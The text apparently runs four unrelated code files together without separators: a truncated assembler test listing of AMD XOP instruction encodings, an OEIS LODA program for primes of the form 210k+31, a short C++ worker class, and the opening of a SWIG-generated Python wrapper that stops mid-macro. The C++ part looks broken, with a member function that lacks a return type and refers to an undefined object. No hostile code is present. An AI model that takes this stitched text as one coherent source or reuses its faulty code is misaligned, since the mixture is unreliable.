00 00 vpmadcswd xmm3, xmm6, dqword [0], xmm2 ; 8F E8 48 B6 036 00 00 20 vpperm xmm1, xmm2, xmm3, xmm4 ; 8F E8 68 A3 313 40 /or/ 8F E8 E8 A3 314 30 vpperm xmm1, xmm2, xmm3, [0] ; 8F E8 E8 A3 016 00 00 30 vpperm xmm1, xmm2, xmm3, dqword [0] ; 8F E8 E8 A3 016 00 00 30 vpperm xmm1, xmm2, [0], xmm4 ; 8F E8 68 A3 016 00 00 40 vpperm xmm1, xmm2, dqword [0], xmm4 ; 8F E8 68 A3 016 00 00 40 vprotb xmm1, xmm2, xmm3 ; 8F E9 60 90 312 /or/ 8F E9 E8 90 313 vprotb xmm1, xmm2, [0] ; 8F E9 E8 90 016 00 00 vprotb xmm1, xmm2, dqword [0] ; 8F E9 E8 90 016 00 00 vprotb xmm1, [0], xmm3 ; 8F E9 60 90 016 00 00 vprotb xmm1, dqword [0], xmm3 ; 8F E9 60 90 016 00 00 vprotb xmm1, xmm2, byte 5 ; 8F E8 78 C0 312 05 vprotb xmm1, [0], byte 5 ; 8F E8 78 C0 016 00 00 05 vprotb xmm1, dqword [0], 5 ; 8F E8 78 C0 016 00 00 05 vprotd xmm1, xmm2, xmm3 ; 8F E9 60 92 312 /or/ 8F E9 E8 92 313 vprotd xmm1, xmm2, [0] ; 8F E9 E8 92 016 00 00 vprotd xmm1, xmm2, dqword [0] ; 8F E9 E8 92 016 00 00 vprotd xmm1, [0], xmm3 ; 8F E9 60 92 016 00 00 vprotd xmm1, dqword [0], xmm3 ; 8F E9 60 92 016 00 00 vprotd xmm1, xmm2, byte 5 ; 8F E8 78 C2 312 05 vprotd xmm1, [0], byte 5 ; 8F E8 78 C2 016 00 00 05 vprotd xmm1, dqword [0], 5 ; 8F E8 78 C2 016 00 00 05 vprotq xmm1, xmm2, xmm3 ; 8F E9 60 93 312 /or/ 8F E9 E8 93 313 vprotq xmm1, xmm2, [0] ; 8F E9 E8 93 016 00 00 vprotq xmm1, xmm2, dqword [0] ; 8F E9 E8 93 016 00 00 vprotq xmm1, [0], xmm3 ; 8F E9 60 93 016 00 00 vprotq xmm1, dqword [0], xmm3 ; 8F E9 60 93 016 00 00 vprotq xmm1, xmm2, byte 5 ; 8F E8 78 C3 312 05 vprotq xmm1, [0], byte 5 ; 8F E8 78 C3 016 00 00 05 vprotq xmm1, dqword [0], 5 ; 8F E8 78 C3 016 00 00 05 vprotw xmm1, xmm2, xmm3 ; 8F E9 60 91 312 /or/ 8F E9 E8 91 313 vprotw xmm1, xmm2, [0] ; 8F E9 E8 91 016 00 00 vprotw xmm1, xmm2, dqword [0] ; 8F E9 E8 91 016 00 00 vprotw xmm1, [0], xmm3 ; 8F E9 60 91 016 00 00 vprotw xmm1, dqword [0], xmm3 ; 8F E9 60 91 016 00 00 vprotw xmm1, xmm2, byte 5 ; 8F E8 78 C1 312 05 vprotw xmm1, [0], byte 5 ; 8F E8 78 C1 016 00 00 05 vprotw xmm1, dqword [0], 5 ; 8F E8 78 C1 016 00 00 05 vpshab xmm1, xmm2, xmm3 ; 8F E9 60 98 312 /or/ 8F E9 E8 98 313 vpshab xmm1, xmm2, [0] ; 8F E9 E8 98 016 00 00 vpshab xmm1, xmm2, dqword [0] ; 8F E9 E8 98 016 00 00 vpshab xmm1, [0], xmm3 ; 8F E9 60 98 016 00 00 vpshab xmm1, dqword [0], xmm3 ; 8F E9 60 98 016 00 00 vpshad xmm1, xmm2, xmm3 ; 8F E9 60 9A 312 /or/ 8F E9 E8 9A 313 vpshad xmm1, xmm2, [0] ; 8F E9 E8 9A 016 00 00 vpshad xmm1, xmm2, dqword [0] ; 8F E9 E8 9A 016 00 00 vpshad xmm1, [0], xmm3 ; 8F E9 60 9A 016 00 00 vpshad xmm1, dqword [0], xmm3 ; 8F E9 60 9A 016 00 00 vpshaq xmm1, xmm2, xmm3 ; 8F E9 60 9B 312 /or/ 8F E9 E8 9B 313 vpshaq xmm1, xmm2, [0] ; 8F E9 E8 9B 016 00 00 vpshaq xmm1, xmm2, dqword [0] ; 8F E9 E8 9B 016 00 00 vpshaq xmm1, [0], xmm3 ; 8F E9 60 9B 016 00 00 vpshaq xmm1, dqword [0], xmm3 ; 8F E9 60 9B 016 00 00 vpshaw xmm1, xmm2, xmm3 ; 8F E9 60 99 312 /or/ 8F E9 E8 99 313 vpshaw xmm1, xmm2, [0] ; 8F E9 E8 99 016 00 00 vpshaw xmm1, xmm2, dqword [0] ; 8F E9 E8 99 016 00 00 vpshaw xmm1, [0], xmm3 ; 8F E9 60 99 016 00 00 vpshaw xmm1, dqword [0], xmm3 ; 8F E9 60 99 016 00 00 vpshlb xmm1, xmm2, xmm3 ; 8F E9 60 94 312 /or/ 8F E9 E8 94 313 vpshlb xmm1, xmm2, [0] ; 8F E9 E8 94 016 00 00 vpshlb xmm1, xmm2, dqword [0] ; 8F E9 E8 94 016 00 00 vpshlb xmm1, [0], xmm3 ; 8F E9 60 94 016 00 00 vpshlb xmm1, dqword [0], xmm3 ; 8F E9 60 94 016 00 00 vpshld xmm1, xmm2, xmm3 ; 8F E9 60 96 312 /or/ 8F E9 E8 96 313 vpshld xmm1, xmm2, [0] ; 8F E9 E8 96 016 00 00 vpshld xmm1, xmm2, dqword [0] ; 8F E9 E8 96 016 00 00 vpshld xmm1, [0], xmm3 ; 8F E9 60 96 016 00 00 vpshld xmm1, dqword [0], xmm3 ; 8F E9 60 96 016 00 00 vpshlq xmm1, xmm2, xmm3 ; 8F E9 60 97 312 /or/ 8F E9 E8 97 313 vpshlq xmm1, xmm2, [0] ; 8F E9 E8 97 016 00 00 vpshlq xmm1, xmm2, dqword [0] ; 8F E9 E8 97 016 00 00 vpshlq xmm1, [0], xmm3 ; 8F E9 60 97 016 00 00 vpshlq xmm1, dqword [0], xmm3 ; 8F E9 60 97 016 00 00 vpshlw xmm1, xmm2, xmm3 ; 8F E9 60 95 312 /or/ 8F E9 E8 95 313 vpshlw xmm1, xmm2, [0] ; 8F E9 E8 95 016 00 00 vpshlw xmm1, xmm2, dqword [0] ; 8F E9 E8 95 016 00 00 vpshlw xmm1, [0], xmm3 ; 8F E9 60 95 016 00 00 vpshlw xmm1, dqword [0], xmm3 ; 8F E9 60 95 016 00 00
; A140846: Primes of the form 210k + 31. ; Submitted by Christian Krause ; 31,241,661,1291,2131,2341,2551,2971,3181,3391,4021,4231,4441,4651,4861,5281,5701,6121,6961,7591,8011,8221,8431,8641,9901,10111,10321,10531,11161,12211,12421,12841,13681,14731,15361,15991,16411,16831,17041 mov $1,2 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,28 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,182 sub $2,3 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,181
// // Copyright 2012 Alin Dobra and Christopher Jermaine // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #include "WorkerImp.h" #include "Timer.h" #include "WorkMessages.h" WorkerImp :: WorkerImp (EventProcessor &parent, WorkerList &putHereWhenDone) { // load up the initialization executionEngine.swap (parent); repository.swap (putHereWhenDone); } WorkerImp::ProcessWorkUnit(WorkToDoMessage &msg) { Timer clock; clock.Restart(); // run the work unit msg.workUnit.Run (); // and put ourselves into the queue of idle workunits // evProc.repository.Add (msg.myName); // send back the result WorkDoneMessage_Factory (evProc.executionEngine, clock.GetTime(), msg.workUnit, msg.myName); }
/* ---------------------------------------------------------------------------- * This file was automatically generated by SWIG (http://www.swig.org). * Version 4.0.1 * * This file is not intended to be easily readable and contains a number of * coding conventions designed to improve portability and efficiency. Do not make * changes to this file unless you know what you are doing--modify the SWIG * interface file instead. * ----------------------------------------------------------------------------- */ #ifndef SWIGPYTHON #define SWIGPYTHON #endif #define SWIG_PYTHON_DIRECTOR_NO_VTABLE #ifdef __cplusplus /* SwigValueWrapper is described in swig.swg */ template<typename T> class SwigValueWrapper { struct SwigMovePointer { T *ptr; SwigMovePointer(T *p) : ptr(p) { } ~SwigMovePointer() { delete ptr; } SwigMovePointer& operator=(SwigMovePointer& rhs) { T* oldptr = ptr; ptr = 0; delete oldptr; ptr = rhs.ptr; rhs.ptr = 0; return *this; } } pointer; SwigValueWrapper& operator=(const SwigValueWrapper<T>& rhs); SwigValueWrapper(const SwigValueWrapper<T>& rhs); public: SwigValueWrapper() : pointer(0) { } SwigValueWrapper& operator=(const T& t) { SwigMovePointer tmp(new T(t)); pointer = tmp; return *this; } operator T&() const { return *pointer.ptr; } T *operator&() { return pointer.ptr; } }; template <typename T> T SwigValueInit() { return T(); } #endif /* ----------------------------------------------------------------------------- * This section contains generic SWIG labels for method/variable * declarations/attributes, and other compiler dependent labels. * ----------------------------------------------------------------------------- */ /* template workaround for compilers that cannot correctly implement the C++ standard */ #ifndef SWIGTEMPLATEDISAMBIGUATOR # if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560) # define SWIGTEMPLATEDISAMBIGUATOR template # elif defined(__HP_aCC) /* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */ /* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */ # define SWIGTEMPLATEDISAMBIGUATOR template # else # define SWIGTEMPLATEDISAMBIGUATOR # endif #endif /* inline attribute */ #ifndef SWIGINLINE # if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__)) # define SWIGINLINE inline # else # define SWIGINLINE # endif #endif /* attribute recognised by some compilers to avoid 'unused' warnings */ #ifndef SWIGUNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define SWIGUNUSED __attribute__ ((__unused__)) # else # define SWIGUNUSED # endif # elif defined(__ICC) # define SWIGUNUSED __attribute__ ((__unused__)) # else # define SWIGUNUSED # endif #endif #ifndef SWIG_MSC_UNSUPPRESS_4505 # if defined(_MSC_VER) # pragma warning(disable : 4505) /* unreferenced local function has been removed */ # endif #endif #ifndef SWIGUNUSEDPARM # ifdef __cplusplus # define SWIGUNUSEDPARM(p) # else # define SWIGUNUSEDPARM(p) p SWIGUNUSED # endif #endif /* internal SWIG method */ #ifndef SWIGINTERN # define SWIGINTERN static SWIGUNUSED #endif /* internal inline SWIG method */ #ifndef SWIGINTERNINLINE # define SWIGINTERNINLINE SWIGINTERN SWIGINLINE #endif /* exporting methods */ #if defined(__GNUC__) # if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) # ifndef GCC_HASCLASSVISIBILITY # define GCC_HASCLASSVISIBILITY # endif # endif #endif #ifndef SWIGEXPORT # if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__) # if defined(STATIC_LINKED) # define SWIGEXPORT # else # define SWIGEXPORT __declspec(dllexport) # endif # else # if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY) # define SWIGEXPORT __attribute__ ((visibility("default"))) # else # define SWIGEXPORT # endif # endif #endif /* calling conventions for Windows */ #ifndef SWIGSTDCALL # if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__) # define SWIGSTDCALL __stdcall # else # define SWIGSTDCALL # endif #endif /* Deal with Microsoft's attempt at deprecating C standard runtime functions */ #if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE) # define _CRT_SECURE_NO_DEPRECATE #endif /* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */ #if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE) # define _SCL_SECURE_NO_DEPRECATE #endif /* Deal with Apple's deprecated 'AssertMacros.h' from Carbon-framework */ #if defined(__APPLE__) && !defined(__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES) # define __ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES 0 #endif /* Intel's compiler complains if a variable which was never initialised is * cast to void, which is a common idiom which we use to indicate that we * are aware a variable isn't used. So we just silence that warning. * See: https://github.com/swig/swig/issues/192 for more discussion. */ #ifdef __INTEL_COMPILER # pragma warning disable 592 #endif #if defined(__GNUC__) && defined(_WIN32) && !defined(SWIG_PYTHON_NO_HYPOT_WORKAROUND) /* Workaround for '::hypot' has not been declared', see https://bugs.python.org/issue11566 */ # include <math.h> #endif #if defined(_DEBUG) && defined(SWIG_PYTHON_INTERPRETER_NO_DEBUG) /* Use debug wrappers with the Python release dll */ # undef _DEBUG # include <Python.h> # define _DEBUG 1 #else # include <Python.h> #endif /* ----------------------------------------------------------------------------- * swigrun.swg * * This file contains generic C API SWIG runtime support for pointer * type checking. * ----------------------------------------------------------------------------- */ /* This should only be incremented when either the layout of swig_type_info changes, or for whatever reason, the runtime changes incompatibly */ #define SWIG_RUNTIME_VERSION "4" /* define SWIG_TYPE_TABLE_NAME as "SWIG_TYPE_TABLE" */ #ifdef SWIG_TYPE_TABLE # define SWIG_QUOTE_STRING(x) #x # define SWIG_EXPAND_AND_QUOTE_STRING(x) SWIG_QUOTE_STRING(x) # define SWIG_TYPE_TABLE_NAME SWIG_EXPAND_AND_QUOTE_STRING(SWIG_TYPE_TABLE) #else # define SWIG_TYPE_TABLE_NAME #endif /* You can use the SWIGRUNTIME and SWIGRUNTIMEINLINE macros for creating a static or dynamic library from the SWIG runtime code. In 99.9% of the cases, SWIG just needs to declare them as 'static'. But only do this if strictly necessary, ie, if you have problems with your compiler or suchlike. */ #ifndef SWIGRUNTIME # define SWIGRUNTIME SWIGINTERN #endif #ifndef SWIGRUNTIMEINLINE # define SWIGRUNTIMEINLINE SWIGRUNTIME SWIGINLINE #endif /* Generic buffer size */ #ifndef SWIG_BUFFER_SIZE # define SWIG_BUFFER_SIZE 1024 #endif /* Flags for pointer conversions */ #define SWIG_POINTER_DISOWN 0x1 #define SWIG_CAST_NEW_MEMORY 0x2 #define SWIG_POINTER_NO_NULL 0x4 /* Flags for new pointer objects */ #define SWIG_POINTER_OWN 0x1 /* Flags/methods for returning states. The SWIG conversion methods, as ConvertPtr, return an integer that tells if the conversion was successful or not. And if not, an error code can be returned (see swigerrors.swg for the codes). Use the following macros/flags to set or process the returning states. In old versions of SWIG, code such as the following was usually written: if (SWIG_ConvertPtr(obj,vptr,ty.flags) != -1) { // success code } else { //fail code } Now you can be more explicit: int res = SWIG_ConvertPtr(obj,vptr,ty.flags); if (SWIG_IsOK(res)) { // success code } else { // fail code } which is the same really, but now you can also do Type *ptr; int res = SWIG_ConvertPtr(obj,(void **)(&ptr),ty.flags); if (SWIG_IsOK(res)) { // success code if (SWIG_IsNewObj(res) { ... delete *ptr; } else { ... } } else { // fail code } I.e., now SWIG_ConvertPtr can return new objects and you can identify the case and take care of the deallocation. Of course that also requires SWIG_ConvertPtr to return new result values, such as int SWIG_ConvertPtr(obj, ptr,...) { if (<obj is ok>) { if (<need new object>) { *ptr = <ptr to new allocated object>; return SWIG_NEWOBJ; } else { *ptr = <ptr to old object>; return SWIG_OLDOBJ; } } else { return SWIG_BADOBJ; } } Of course, returning the plain '0(success)/-1(fail)' still works, but you can be more explicit by returning SWIG_BADOBJ, SWIG_ERROR or any of the SWIG errors code. Finally, if the SWIG_CASTRANK_MODE is enabled, the result code allows to return the 'cast rank', for example, if you have this int food(double) int fooi(int); and you call food(1) // cast rank '1' (1 -> 1.0) fooi(1) // cast rank '0' just use the SWIG_AddCast()/SWIG_CheckState() */ #define SWIG_OK (0) #define SWIG_ERROR (-1) #define SWIG_IsOK(r) (r >= 0) #define SWIG_ArgError(r) ((r != SWIG_ERROR) ? r : SWIG_TypeError) /* The CastRankLimit says how many bits are used for the cast rank */ #define SWIG_CASTRANKLIMIT (1 << 8) /* The NewMask denotes the object was created (using new/malloc) */ #define SWIG_NEWOBJMASK (SWIG_CASTRANKLIMIT << 1) /* The TmpMask is for in/out typemaps that use temporal objects */ #define SWIG_TMPOBJMASK (SWIG_NEWOBJMASK << 1) /* Simple returning values */ #define SWIG_BADOBJ (SWIG_ERROR) #define SWIG_OLDOBJ (SWIG_OK) #define SWIG_NEWOBJ (SWIG_OK | SWIG_NEWOBJMASK) #define SWIG_TMPOBJ (SWIG_OK | SWIG_TMPOBJMASK) /* Check, add and del mask methods */ #define SWIG_AddNewMask(r) (SWIG_IsOK(r) ? (r | SWIG_NEWOBJMASK) : r) #define SWIG_DelNewMask(r) (SWIG_IsOK(r) ? (r & ~SWIG_NEWOBJMASK) : r) #define SWIG_IsNewObj(r) (SWIG_IsOK(r) && (r & SWIG_NEWOBJMASK)) #define SWIG_AddTmpMask(r) (SWIG_IsOK(r) ? (r | SWIG_TMPOBJMASK) : r) #define SWIG_DelTmpMask(r) (SWIG_IsOK(r) ? (r & ~SWIG_TMPOBJMASK) : r) #define SWIG_IsTmpObj(r) (SWIG_IsOK(r) && (r & SWIG_TMPOBJMASK)) /* Cast-Rank Mode */ #if defined(SWIG_CASTRANK_MODE) # ifndef SWIG_TypeRank # define SWIG_TypeRank unsigned long # endif # ifndef SWIG_MAXCASTRANK /* Default cast allowed */ # define SWIG_MAXCASTRANK (2) # endif # define SWIG_CASTRANKMASK ((SWIG_CASTRANKLIMIT) -1) # define SWIG_CastRank(r) (r & SWIG_CASTRANKMASK) SWIGINTERNINLINE int SWIG_AddCast(int r) { return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; } SWIGINTERNINLINE int SWIG_CheckState(int r) { return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; } #else /* no cast-rank mode */ # define SWIG_AddCast(r) (r) # define SWIG_CheckState(r) (SWIG_IsOK(r) ? 1 : 0) #endif #include <string.h> #ifdef __cplusplus extern "C" { #endif typedef void *(*swig_converter_func)(void *, int *); typedef struct swig_type_info *(*swig_dycast_func)(void **); /* Structure to store information on one type */ typedef struct swig_type_info { const char *name; /* mangled name of this type */ const char *str; /* human readable name of this type */ swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ struct swig_cast_info *cast; /* linked list of types that can cast into this type */ void *clientdata; /* language specific type data */ int owndata; /* flag if the structure owns the clientdata */ } swig_type_info; /* Structure to store a type and conversion function used for casting */ typedef struct swig_cast_info { swig_type_info *type; /* pointer to type that is equivalent to this type */ swig_converter_func converter; /* function to cast the void pointers */ struct swig_cast_info *next; /* pointer to next cast in linked list */ struct swig_cast_info *prev; /* pointer to the previous cast */ } swig_cast_info; /* Structure used to store module information * Each module generates one structure like this, and the runtime collects * all of these structures and stores them in a circularly linked list.*/ typedef struct swig_module_info { swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ size_t size; /* Number of types in this module */ struct swig_module_info *next; /* Pointer to next element in circularly linked list */ swig_type_info **type_initial; /* Array of initially generated type structures */ swig_cast_info **cast_initial; /* Array of initially generated casting structures */ void *clientdata; /* Language specific module data */ } swig_module_info; /* Compare two type names skipping the space characters, therefore "char*" == "char *" and "Class<int>" == "Class<int >", etc. Return 0 when the two name types are equivalent, as in strncmp, but skipping ' '. */ SWIGRUNTIME int SWIG_TypeNameComp(const char *f1, const char *l1, const char *f2, const char *l2) { for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) { while ((*f1 == ' ') && (f1 != l1)) ++f1; while ((*f2 == ' ') && (f2 != l2)) ++f2; if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; } return (int)((l1 - f1) - (l2 - f2)); } /* Check type equivalence in a name list like <name1>|<name2>|... Return 0 if equal, -1 if nb < tb, 1 if nb > tb */ SWIGRUNTIME int SWIG_TypeCmp(const char *nb, const char *tb) { int equiv = 1; const char* te = tb + strlen(tb); const char* ne = nb; while (equiv != 0 && *ne) { for (nb = ne; *ne; ++ne) { if (*ne == '|') break; } equiv = SWIG_TypeNameComp(nb, ne, tb, te); if (*ne) ++ne; } return equiv; } /* Check type equivalence in a name list like <name1>|<name2>|... Return 0 if not equal, 1 if equal */ SWIGRUNTIME int SWIG_TypeEquiv(const char *nb, const char *tb) { return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; } /* Check the typename */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheck(const char *c, swig_type_info *ty) { if (ty) { swig_cast_info *iter = ty->cast; while (iter) { if (strcmp(iter->type->name, c) == 0) { if (iter == ty->cast) return iter; /* Move iter to the top of the linked list */ iter->prev->next = iter->next; if (iter->next) iter->next->prev = iter->prev; iter->next = ty->cast; iter->prev = 0; if (ty->cast) ty->cast->prev = iter; ty->cast = iter; return iter; } iter = iter->next; } } return 0; } /* Identical to SWIG_TypeCheck, except strcmp is replaced with a pointer comparison */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheckStruct(swig_type_info *from, swig_type_info *ty) { if (ty) { swig_cast_info *iter = ty->cast; while (iter) { if (iter->type == from) { if (iter == ty->cast) return iter; /* Move iter to the top of the linked list */ iter->prev->next = iter->next; if (iter->next) iter->next->prev = iter->prev; iter->next = ty->cast; iter->prev = 0; if (ty->cast) ty->cast->prev = iter; ty->cast = iter; return iter; } iter = iter->next; } } return 0; } /* Cast a pointer up an inheritance hierarchy */ SWIGRUNTIMEINLINE void * SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); } /* Dynamic pointer casting. Down an inheritance hierarchy */ SWIGRUNTIME swig_type_info * SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { swig_type_info *lastty = ty; if (!ty || !ty->dcast) return ty; while (ty && (ty->dcast)) { ty = (*ty->dcast)(ptr); if (ty) lastty = ty; } return lastty; } /* Return the name associated with this type */ SWIGRUNTIMEINLINE const char * SWIG_TypeName(const swig_type_info *ty) { return ty->name; } /* Return the pretty name associated with this type, that is an unmangled type name in a form presentable to the user. */ SWIGRUNTIME const char * SWIG_TypePrettyName(const swig_type_info *type) { /* The "str" field contains the equivalent pretty names of the type, separated by vertical-bar characters. We choose to print the last name, as it is often (?) the most specific. */ if (!type) return NULL; if (type->str != NULL) { const char *last_name = type->str; const char *s; for (s = type->str; *s; s++) if (*s == '|') last_name = s+1; return last_name; } else return type->name; } /* Set the clientdata field for a type */ SWIGRUNTIME void SWIG_TypeClientData(swig_type_info *ti, void *clientdata) { swig_cast_info *cast = ti->cast; /* if (ti->clientdata == clientdata) return; */ ti->clientdata = clientdata; while (cast) { if (!cast->converter) { swig_type_info *tc = cast->type; if (!tc->clientdata) { SWIG_TypeClientData(tc, clientdata); } } cast = cast->next; } } SWIGRUNTIME void SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { SWIG_TypeClientData(ti, clientdata); ti->owndata = 1; } /* Search for a swig_type_info structure only by mangled name Search is a O(log #types) We start searching at module start, and finish searching when start == end. Note: if start == end at the beginning of the function, we go all the way around the circular list. */ SWIGRUNTIME swig_type_info * SWIG_MangledTypeQueryModule(swig_module_info *start, swig_module_info *end, const char *name) { swig_module_info *iter = start; do { if (iter->size) { size_t l = 0; size_t r = iter->size - 1; do { /* since l+r >= 0, we can (>> 1) instead (/ 2) */ size_t i = (l + r) >> 1; const char *iname = iter->types[i]->name; if (iname) { int compare = strcmp(name, iname); if (compare == 0) { return iter->types[i]; } else if (compare < 0) { if (i) { r = i - 1; } else { break; } } else if (compare > 0) { l = i + 1; } } else { break; /* should never happen */ } } while (l <= r); } iter = iter->next; } while (iter != end); return 0; } /* Search for a swig_type_info structure for either a mangled name or a human readable name. It first searches the mangled names of the types, which is a O(log #types) If a type is not found it then searches the human readable names, which is O(#types). We start searching at module start, and finish searching when start == end. Note: if start == end at the beginning of the function, we go all the way around the circular list. */ SWIGRUNTIME swig_type_info * SWIG_TypeQueryModule(swig_module_info *start, swig_module_info *end, const char *name) { /* STEP 1: Search the name field using binary search */ swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); if (ret) { return ret; } else { /* STEP 2: If the type hasn't been found, do a complete search of the str field (the human readable name) */ swig_module_info *iter = start; do { size_t i = 0; for (; i < iter->size; ++i) { if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) return iter->types[i]; } iter = iter->next; } while (iter != end); } /* neither found a match */ return 0; } /* Pack binary data into a string */ SWIGRUNTIME char * SWIG_PackData(char *c, void *ptr, size_t sz) { static const char hex[17] = "0123456789abcdef"; const unsigned char *u = (unsigned char *) ptr; const unsigned char *eu = u + sz; for (; u != eu; ++u) { unsigned char uu = *u; *(c++) = hex[(uu & 0xf0) >> 4]; *(c++) = hex[uu & 0xf]; } return c; } /* Unpack binary data from a string */ SWIGRUNTIME const char * SWIG_UnpackData(const char *c, void *ptr, size_t sz) { unsigned char *u = (unsigned char *) ptr; const unsigned char *eu = u + sz; for (; u != eu; ++u) { char d = *(c++); unsigned char uu; if ((d >= '0') && (d <= '9')) uu = (unsigned char)((d - '0') << 4); else if ((d >= 'a') && (d <= 'f')) uu = (unsigned char)((d - ('a'-10)) << 4); else return (char *) 0; d = *(c++); if ((d >= '0') && (d <= '9')) uu |= (unsigned char)(d - '0'); else if ((d >= 'a') && (d <= 'f')) uu |= (unsigned char)(d - ('a'-10)); else return (char *) 0; *u = uu; } return c; } /* Pack 'void *' into a string buffer. */ SWIGRUNTIME char * SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) { char *r = buff; if ((2*sizeof(void *) + 2) > bsz) return 0; *(r++) = '_'; r = SWIG_PackData(r,&ptr,sizeof(void *)); if (strlen(name) + 1 > (bsz - (r - buff))) return 0; strcpy(r,name); return buff; } SWIGRUNTIME const char * SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) { if (*c != '_') { if (strcmp(c,"NULL") == 0) { *ptr = (void *) 0; return name; } else { return 0; } } return SWIG_UnpackData(++c,ptr,sizeof(void *)); } SWIGRUNTIME char * SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) { char *r = buff; size_t lname = (name ? strlen(name) : 0); if ((2*sz + 2 + lname) > bsz) return 0; *(r++) = '_'; r = SWIG_PackData(r,ptr,sz); if (lname) { strncpy(r,name,lname+1); } else { *r = 0; } return buff; } SWIGRUNTIME const char * SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { if (*c != '_') { if (strcmp(c,"NULL") == 0) { memset(ptr,0,sz); return name; } else { return 0; } } return SWIG_UnpackData(++c,ptr,sz); } #ifdef __cplusplus } #endif /* Errors in SWIG */ #define SWIG_UnknownError -1 #define SWIG_IOError -2 #define SWIG_RuntimeError -3 #define SWIG_IndexError -4 #define SWIG_TypeError -5 #define SWIG_DivisionByZero -6 #define SWIG_OverflowError -7 #define SWIG_SyntaxError -8 #define SWIG_ValueError -9 #define SWIG_SystemError -10 #define SWIG_AttributeError -11 #define SWIG_MemoryError -12 #define SWIG_NullReferenceError -13 /* Compatibility macros for Python 3 */ #if PY_VERSION_HEX >= 0x03000000 #define PyClass_Check(obj) PyObject_IsInstance(obj, (PyObject *)&PyType_Type) #define PyInt_Check(x) PyLong_Check(x) #define PyInt_AsLong(x) PyLong_AsLong(x) #define PyInt_FromLong(x) PyLong_FromLong(x) #define PyInt_FromSize_t(x) PyLong_FromSize_t(x) #define PyString_Check(name) PyBytes_Check(name) #define PyString_FromString(x) PyUnicode_FromString(x) #define PyString_Format(fmt, args) PyUnicode_Format(fmt, args) #define PyString_AsString(str) PyBytes_AsString(str) #define PyString_Size(str) PyBytes_Size(str) #define PyString_InternFromString(key) PyUnicode_InternFromString(key) #define Py_TPFLAGS_HAVE_CLASS Py_TPFLAGS_BASETYPE #define PyString_AS_STRING(x) PyUnicode_AS_STRING(x) #define _PyLong_FromSsize_t(x) PyLong_FromSsize_t(x) #endif #ifndef Py_TYPE # define Py_TYPE(op) ((op)->ob_type) #endif /* SWIG APIs for compatibility of both Python 2 & 3 */ #if PY_VERSION_HEX >= 0x03000000 # define SWIG_Python_str_FromFormat PyUnicode_FromFormat #else # define SWIG_Python_str_FromFormat PyString_FromFormat #endif /* Warning: This function will allocate a new string in Python 3, * so please call SWIG_Python_str_DelForPy3(x) to free the space. */ SWIGINTERN char* SWIG_Python_str_AsChar(PyObject *str) { #if PY_VERSION_HEX >= 0x03000000 char *newstr = 0; str = PyUnicode_AsUTF8String(str); if (str) { char *cstr; Py_ssize_t len; PyBytes_AsStringAndSize(str, &cstr, &len); newstr = (char *) malloc(len+1); memcpy(newstr, cstr, len+1); Py_XDECREF(str); } return newstr; #else return PyString_AsString(str); #endif } #if PY_VERSION_HEX >= 0x03000000 # define SWIG_Python_str_DelForPy3(x) free( (void*) (x) ) #else # define SWIG_Python_str_DelForPy3(x) #endif SWIGINTERN PyObject* SWIG_Python_str_FromChar(const char *c) { #if PY_VERSION_HEX >= 0x03000000 return PyUnicode_FromString(c); #else return PyString_FromString(c); #endif } #ifndef PyObject_DEL # define PyObject_DEL PyObject_Del #endif // SWIGPY_USE_CAPSULE is no longer used within SWIG itself, but some user // interface files check for it. # define SWIGPY_USE_CAPSULE # define SWIGPY_CAPSULE_NAME ("swig_runtime_data" SWIG_RUNTIME_VERSION ".type_pointer_capsule" SWIG_TYPE_TABLE_NAME) #if PY_VERSION_HEX < 0x03020000 #define PyDescr_TYPE(x) (((PyDescrObject *)(x))->d_type) #define PyDescr_NAME(x) (((PyDescrObject 